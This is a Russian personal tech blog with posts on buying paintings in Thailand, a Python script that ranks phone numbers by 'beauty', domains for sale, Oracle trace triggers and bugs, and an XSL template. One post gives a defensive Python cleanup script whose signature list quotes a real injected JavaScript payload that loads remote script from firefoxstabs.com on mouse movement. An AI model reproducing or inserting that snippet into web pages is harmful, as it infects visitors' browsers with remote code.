четверг, 31 октября 2013 г.

Живопись в Тайланде

Недавно впервые посетил Тайланд и был несколько удивлен, что живопись продают повсеместно: на улицах, в торговых центрах, в специальных магазинах-галереях. Цены приятно удивили.
Вот например этот леопард стоил 7000 бат без рамы:


Картина реально большая. Где-то 90 на 70 см.
Как такую везти домой не узнавал. В самолете - не вариант, наверное надо заказывать CARGO...
Я для первого раза ограничился маленькой картиной, чтобы поместилась в багаж. Вот она:
Чтобы понимали размер, она примерно как 2 листа A4. Масленые краски. Цена 1500 бат картина + 1000 бат за раму.
Да кстати по поводу рам у меня случился просто разрыв шаблонов, стоимость рамы примерно равна стоимости самой картины, а иногда и больше. Рамы очень дорогие, не знаю чем это обусловлено, возможно просто очередной способ содрать денег. Уже по приезду погуглил и понял что дешевле сделать раму на родине, хотя это конечно потребует определенного времени от вас. На леопарда кстати рама стоила бы 5-6 тысяч у них. Поэтому имеет смысл наверное сначала изучить цены на заказ рамы в вашем городе.

пятница, 27 января 2012 г.

Алгоритм определения красивости номера

Компания, в которой я работаю получила телефонную номерную емкость и менеджер попросил меня, чтобы не просматривать весь список глазами и выбирать номера, отсортировать их по степени "красивости". У меня естественно сразу же возник вопрос: а как алгоритмически определить "красивость" номера? Стало самому интересно. Первое, что пришло в голову - присвоить каждой цифре номера начальный вес и увеличивать его в зависимости от удовлетворения каким-то условиям красоты. По быстрому наваял на коленке скрипт на любимом Python'е, и вот что получилось:

#-*- coding: utf-8 -*-
import operator

"""
   Author: Shiryaev Pavel
"""

def beauty_coef(num):
 """
    Возвращает "вес" номера. Чем выше вес, тем красивее номер.
 """
 charCount = {}
 last = ""
 lastcnt = 0
 i = 0
 bc = {}
 #У каждой цифры в номере базовый коэффициент(бк) = 1.
 for char in num:
  bc[i] = 1
  charCount[char] = charCount.get(char, 0) + 1
  i += 1
 #Если в номере цифра встречается дважды, то базовый коэф такой цифры увеличивается на 2, если 3 то на 3...
 for a in range(0,i):
  if charCount[num[a]]>1:
   bc[a] += charCount[num[a]]
 #Если в номере повторяющиеся цифры идут одна за другой, то базовый коэф подряд идущих цифр увеличивается на (кол-во повторений * 2).
 for a in range(0,i):
  if num[a] == last:
   lastcnt += 1
  if num[a] != last or a == i-1:
   if lastcnt>0:
    for b in range(0, lastcnt+1):
     bc[i-b-2] += (lastcnt+1) * 2
     #Если номер заканчивается на повторяющиеся цифры, то он считается более привлекательным и каждая повторяющаяся цифра получает к БК 0.4 балла
     if a == i-1 and num[a] == last:
      bc[i-b-2] += 0.4
   lastcnt = 0
  last = num[a]
 #Если в номере есть комбинации из 2 и более цифр, то все эти цифры получают (кол-во повторений + кол-во цифр в комбинации) к бк
 for j in range(0, i-2):
  for l in range(j+2, i):
   oc = num.count(num[j:l])
   if oc > 1:
    for p in range(j,l):
     bc[p] += (oc-1)+(l-j)
 #Затем все бк складываются и получается финальный вес номера.
 return sum(bc.values())

if __name__ == "__main__":
 r = range(2801000,2802000)
 array = {}
 for a in r:
  array[a] = beauty_coef(str(a))
 sora = sorted(array.iteritems(), key=operator.itemgetter(1))
 # num, coef
 for i in sora:
  print i[0],i[1]
Код конечно получился не очень читабельный, но выдает что-то похожее на ожидаемый результат ;) Не спрашивайте почему я увеличиваю вес на то или иное значение. Это просто импровизация, что в голову первое пришло, то и написал, а потом экспериментальным путем докрутил.

вторник, 19 июля 2011 г.

Двухбуквенные домены в зоне SU

По стечению обстоятельств я стал обладателем нескольких двухбуквенников в зоне SU. Не скрываю, что зарегистрировал большую часть на продажу.
Вот список доменов, которые продаю:




ИмяТэги
xl.suодежда, XL
nm.suдоменные имена, New Mexico
ot.suот, овертайм
do.suDo, До, доска объявлений, бизнес
mr.suМистер
77.suМосква, авто, казино
63.suСамара, авто
3g.su
4g.su
3G, 4G, WiMax
mx.suMX, mail, почта, сервер
fx.suForex, инвестиции, биржи
us.suUnited States, полиндром

Кому интересно - пишите pws[собака]front.ru. Цены адекватные, все реально.

понедельник, 13 июня 2011 г.

Скрипт лечения вируса firefoxstabs.com

Похоже захачили меня на днях. К некоторым js и html файлам дописался кусок javascript кода, который ходит на firefoxstabs.com и пытается загрузить какую-то заразу.
По этой теме для начала стоит прочитать пару постов, чтобы понять что это за зараза и как с ней борятся:
У скрипта на php есть пара недостатков:
  1. Он переходит по симлинкам и у меня получается бесконечный цикл
  2. Он правильно отрабатывает файлы только с одной точкой. Т.е. one.js он обработает, а one.two.js нет.
Вот мой скрипт на python:
#!/usr/local/bin/python
import sys
import os
from optparse import OptionParser

"""
Author: Shiryaev Pavel
Purpose: scan and remove trojan from your site
Status description:
[o] - trojan not found
[d] - trojan removed
[x] - trojan detected
[r] - can't read file
[!] - can't remove trojan from file
[ ] - not scaned
"""

trojan_text = ["""<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"><script type="text/javascript">var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1; x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});""",
"""document.write('<scr'+'ipt src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});"""]

options = None

#checking extentions
extentions = ['js','php','html','htm','tpl']

stat = dict()

def scan_dir(wd):
dirs = []
cnt = 0
showdir = False
try:
for element in os.listdir(wd):
full_path = os.path.join(wd,element)
status = " "
#file
if os.path.isfile(full_path):
if os.path.split(full_path)[1].split('.')[-1] in extentions:
status = "o"
try:
data = None
file = open(full_path,"r")
data = file.read()
file.close()
for trj in trojan_text:
if data.find(trj) > 0:
status = "x"
if not options.findonly:
data = data.replace(trj," ")
try:
f = open(full_path,"w")
f.write(data)
f.close()
status = "d"
except:
status = "!"
except:
status = "r"
try:
stat[status] = stat[status]+1
except KeyError:
stat[status] = 1
if (not options.verbose and status in ['d','!','x']) or options.verbose:
cnt = cnt + 1
if cnt == 1 and not showdir:
print("\nWorking Directory: %s " % wd)
showdir=True
print(" [%s] %s" % (status,element))
#directory
elif os.path.isdir(full_path) and (not os.path.islink(full_path) or options.uselink):
dirs.append(full_path)
for dir in dirs:
scan_dir(dir)
except OSError as e:
print(e)

if __name__ == "__main__":
usage = "usage: %prog [options] "
parser = OptionParser(usage=usage)
parser.add_option("-d", "--dir", action="store", type="string", dest="directory", help="Starting directory path, default: current directory", default=os.getcwd())
parser.add_option("-q",action="store_false", dest="verbose", help="quite mode")
parser.add_option("-v",action="store_true", dest="verbose", default=True, help="verbose mode, default: true")
parser.add_option("-l",action="store_true",dest="uselink",default=False,help="Use symlinks on directories when scan, default: false")
parser.add_option("-f",action="store_true",dest="findonly",default=False,help="Find and not delete")
(options,args) = parser.parse_args()
scan_dir(options.directory)
print "-----------------------------------------------------------"
print " TOTAL:"
for row in stat:
print " [%s] %d" % (row,stat[row])


Пользуйтесь:

Usage: fixer.py [options] > out.txt

Options:
-h, --help show this help message and exit
-d DIRECTORY, --dir=DIRECTORY
Starting directory path, default: current directory
-q quite mode
-v verbose mode, default: true
-l Use symlinks on directories when scan, default: false
-f Find and not delete

Если просто запустить fixer.py без параметров то будет сканировать и зачищать вирус начиная с текущей директории рекурсивно, а результаты сканирования выводить на консоль.

четверг, 26 мая 2011 г.

after logon session trace

Чет, надоело каждый раз искать код after logon trigger'a для трассировки сессии, вот решил в блог его запостить.

CREATE OR REPLACE TRIGGER after_logon_trg
AFTER logon ON DATABASE
declare
mo varchar2(100);
ma varchar2(100);
BEGIN
SELECT module, machine into mo,ma
FROM v$session
WHERE audsid = USERENV ('sessionid') AND ROWNUM <= 1;

IF (mo='JDBC Thin Client' and USER='SHIRYAEV') THEN
EXECUTE IMMEDIATE 'ALTER SESSION SET max_dump_file_size=unlimited';
EXECUTE IMMEDIATE 'ALTER SESSION SET tracefile_identifier=''id''';
EXECUTE IMMEDIATE 'ALTER SESSION SET EVENTS ''10046 trace name context forever, level 12''';
end if;
END;

вторник, 30 ноября 2010 г.

XSL Template для замены CRLF на <br />

sabj :


<xsl:template name="substitute">
<xsl:param name="string" />
<xsl:param name="from" select="'&#xA;'" />
<xsl:param name="to">
<br />
</xsl:param>
<xsl:choose>
<xsl:when test="contains($string, $from)">
<xsl:value-of select="substring-before($string, $from)" />
<xsl:copy-of select="$to" />
<xsl:call-template name="substitute">
<xsl:with-param name="string"
select="substring-after($string, $from)" />
<xsl:with-param name="from" select="$from" />
<xsl:with-param name="to" select="$to" />
</xsl:call-template>
</xsl:when>
<xsl:otherwise>
<xsl:value-of select="$string" />
</xsl:otherwise>
</xsl:choose>
</xsl:template>


Вызываем так:

<xsl:call-template name="substitute">
<xsl:with-param name="string" select="." />
</xsl:call-template>

P.S.: За подсветку кода спасибо маньякам ;)

понедельник, 2 августа 2010 г.

ORA-04052: error occurred when looking up remote object

Нашел сообщение в черновике, которое написал уже давно, и решил опубликовать, т.к. на днях разобрались с этой историей.

Накатывал большой патч на серверную логику продуктивной БД. Изменения в пакетах, триггерах, альтеры таблиц и пр. После чего получил инвалидные объекты с ошибками следующего содержания:


Error: PL/SQL: ORA-04052: error occurred when looking up remote object CMS.USERS_TABLE@DB1.RESTRICTED
ORA-00604: error occurred at recursive SQL level 1
ORA-03106: fatal two-task communication protocol error
ORA-02063: preceding line from DB1.RESTRICTED
Line: 35
Text: insert into users_table@db1.restricted(login_id,user_name,serv_group_id,


DBA в отпуске был. Два часа часть функционала была недоступна. Google навел меня на информацию о баге в Oracle 9, проявляющуюся при компиляции кода, где есть связь по dblink с базой на другой платформе. В нашем случае это был Oracle 9.2.0.8 на Solaris SPARC и та-же версия на CentOS x86.
Придумал быстрый workaround: создать на той же базе схему c таким же именем и с объектами, на которые смотрит dblink(благо объектов было всего с десяток), в tnsnames заменить адрес удаленной базы на локальную, перекомпилить пакеты и поменять tnsnames обратно.
C этой страшной багой мы жили несколько месяцев, каждый раз боясь инвалидировать код, работающий с dblink'ом, но все равно пару раз повторялось.

Все это закончилось тем, что мы наконец перешли на 10g, где такой ошибки нет. Ура!!!